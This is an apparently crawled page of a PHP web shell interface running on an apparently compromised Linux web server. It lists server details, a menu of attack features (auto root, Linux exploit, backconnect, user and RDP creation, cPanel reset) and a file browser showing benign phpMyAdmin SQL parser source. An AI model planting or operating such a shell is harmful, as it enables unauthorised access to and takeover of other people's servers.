Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Statements /
[ HOME SHELL ]
Name
Size
Permission
Action
AlterStatement.php
3.68
KB
-rw-r--r--
AnalyzeStatement.php
636
B
-rw-r--r--
BackupStatement.php
527
B
-rw-r--r--
CallStatement.php
739
B
-rw-r--r--
CheckStatement.php
527
B
-rw-r--r--
ChecksumStatement.php
451
B
-rw-r--r--
CreateStatement.php
22.39
KB
-rw-r--r--
DeleteStatement.php
11.4
KB
-rw-r--r--
DropStatement.php
1.4
KB
-rw-r--r--
ExplainStatement.php
200
B
-rw-r--r--
InsertStatement.php
7.28
KB
-rw-r--r--
LoadStatement.php
10.81
KB
-rw-r--r--
LockStatement.php
3.41
KB
-rw-r--r--
MaintenanceStatement.php
1.47
KB
-rw-r--r--
NotImplementedStatement.php
1.34
KB
-rw-r--r--
OptimizeStatement.php
641
B
-rw-r--r--
PurgeStatement.php
3.76
KB
-rw-r--r--
RenameStatement.php
1.34
KB
-rw-r--r--
RepairStatement.php
570
B
-rw-r--r--
ReplaceStatement.php
5.21
KB
-rw-r--r--
RestoreStatement.php
477
B
-rw-r--r--
SelectStatement.php
7.26
KB
-rw-r--r--
SetStatement.php
1.98
KB
-rw-r--r--
ShowStatement.php
1.25
KB
-rw-r--r--
TransactionStatement.php
2.29
KB
-rw-r--r--
TruncateStatement.php
747
B
-rw-r--r--
UpdateStatement.php
2.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ReplaceStatement.php
<?php /** * `REPLACE` statement. */ declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Statements; use PhpMyAdmin\SqlParser\Components\Array2d; use PhpMyAdmin\SqlParser\Components\IntoKeyword; use PhpMyAdmin\SqlParser\Components\OptionsArray; use PhpMyAdmin\SqlParser\Components\SetOperation; use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Statement; use PhpMyAdmin\SqlParser\Token; use PhpMyAdmin\SqlParser\TokensList; use function count; use function strlen; use function trim; /** * `REPLACE` statement. * * REPLACE [LOW_PRIORITY | DELAYED] * [INTO] tbl_name [(col_name,...)] * {VALUES | VALUE} ({expr | DEFAULT},...),(...),... * * or * * REPLACE [LOW_PRIORITY | DELAYED] * [INTO] tbl_name * SET col_name={expr | DEFAULT}, ... * * or * * REPLACE [LOW_PRIORITY | DELAYED] * [INTO] tbl_name * [PARTITION (partition_name,...)] * [(col_name,...)] * SELECT ... */ class ReplaceStatement extends Statement { /** * Options for `REPLACE` statements and their slot ID. * * @var array */ public static $OPTIONS = [ 'LOW_PRIORITY' => 1, 'DELAYED' => 1, ]; /** * Tables used as target for this statement. * * @var IntoKeyword */ public $into; /** * Values to be replaced. * * @var Array2d */ public $values; /** * If SET clause is present * holds the SetOperation. * * @var SetOperation[] */ public $set; /** * If SELECT clause is present * holds the SelectStatement. * * @var SelectStatement */ public $select; /** * @return string */ public function build() { $ret = 'REPLACE ' . $this->options; $ret = trim($ret) . ' INTO ' . $this->into; if ($this->values !== null && count($this->values) > 0) { $ret .= ' VALUES ' . Array2d::build($this->values); } elseif ($this->set !== null && count($this->set) > 0) { $ret .= ' SET ' . SetOperation::build($this->set); } elseif ($this->select !== null && strlen((string) $this->select) > 0) { $ret .= ' ' . $this->select->build(); } return $ret; } /** * @param Parser $parser the instance that requests parsing * @param TokensList $list the list of tokens to be parsed */ public function parse(Parser $parser, TokensList $list) { ++$list->idx; // Skipping `REPLACE`. // parse any options if provided $this->options = OptionsArray::parse( $parser, $list, static::$OPTIONS ); ++$list->idx; /** * The state of the parser. * * Below are the states of the parser. * * 0 ---------------------------------[ INTO ]----------------------------------> 1 * * 1 -------------------------[ VALUES/VALUE/SET/SELECT ]-----------------------> 2 * * @var int */ $state = 0; for (; $list->idx < $list->count; ++$list->idx) { /** * Token parsed at this moment. * * @var Token */ $token = $list->tokens[$list->idx]; // End of statement. if ($token->type === Token::TYPE_DELIMITER) { break; } // Skipping whitespaces and comments. if (($token->type === Token::TYPE_WHITESPACE) || ($token->type === Token::TYPE_COMMENT)) { continue; } if ($state === 0) { if ($token->type === Token::TYPE_KEYWORD && $token->keyword !== 'INTO' ) { $parser->error('Unexpected keyword.', $token); break; } ++$list->idx; $this->into = IntoKeyword::parse( $parser, $list, ['fromReplace' => true] ); $state = 1; } elseif ($state === 1) { if ($token->type === Token::TYPE_KEYWORD) { if ($token->keyword === 'VALUE' || $token->keyword === 'VALUES' ) { ++$list->idx; // skip VALUES $this->values = Array2d::parse($parser, $list); } elseif ($token->keyword === 'SET') { ++$list->idx; // skip SET $this->set = SetOperation::parse($parser, $list); } elseif ($token->keyword === 'SELECT') { $this->select = new SelectStatement($parser, $list); } else { $parser->error( 'Unexpected keyword.', $token ); break; } $state = 2; } else { $parser->error( 'Unexpected token.', $token ); break; } } } --$list->idx; } }
Close